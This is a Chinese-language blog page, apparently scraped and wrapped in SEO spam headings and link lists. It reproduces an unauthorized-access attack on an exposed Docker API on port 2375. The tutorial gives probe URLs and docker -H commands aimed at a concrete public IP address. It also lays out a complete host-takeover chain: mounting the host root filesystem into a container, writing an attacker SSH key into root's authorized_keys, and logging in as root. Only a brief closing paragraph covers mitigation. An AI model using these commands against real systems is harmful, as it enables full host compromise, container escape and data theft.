当前位置: 首页 > wzjs >正文

网站设计与建设论文百度竞价关键词价格查询

网站设计与建设论文,百度竞价关键词价格查询,电商平台建设做网站,营销型网站建设ppt模板Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。 什么是 Docker API ? Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,…

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问 

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

ssh root@39.105.123.35 -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。 

http://www.dtcms.com/wzjs/348517.html

相关文章:

  • 公司网站名词解释ai智能搜索引擎
  • 外贸公司是干什么的宁波百度推广优化
  • 凡科互动游戏可以作弊码长沙搜索排名优化公司
  • 只做瓶子包装设计的创意网站百度账号登录个人中心
  • 网站建设的目标是什么 提供了哪些栏目网络营销策划的方法
  • wordpress meta_keyseo搜索引擎优化营销案例
  • wordpress无法正确显示seo优化网页
  • 高唐网站建设服务商营销型企业网站建设步骤
  • 建网站数据库外贸商城建站
  • 个人网站设计介绍文字唐山seo
  • wordpress 用户注册 插件抖音seo优化怎么做
  • 知名网站建设企业网站关键词排名批量查询
  • 自己做网站哪家好公司网站建设多少钱
  • 嘉兴网站优化爱战网关键词
  • 如何运用链接推广网站热搜榜上2023年热搜
  • 贵阳网站开发人员工资seo排名优化技术
  • 做平台的网站有哪些2023年5月最新疫情
  • 武功做网站我想开个网站平台怎么开呢
  • 深圳建工是国企还是私企爱站seo工具包官网
  • 联通网站服务器网络推广员岗位职责
  • 网站空间数据库上传网络推广外包要多少钱
  • 上海市建设资格注册中心网站地推平台去哪里找
  • 湘潭做网站武汉百度seo网站优化
  • 上海发布官方网关键词seo排名怎么做的
  • 如何用ps做网站首页的图片新手销售怎么和客户交流
  • ui在线设计网站营销策划方案ppt范文
  • 深圳网站建设制作设计企业我要软文网
  • 公司企业网站维护怎么做百度网页
  • 八上电脑课做网站需要什么软件seo百度发包工具
  • 深圳网站建设服务哪家便宜百度关键词优化企业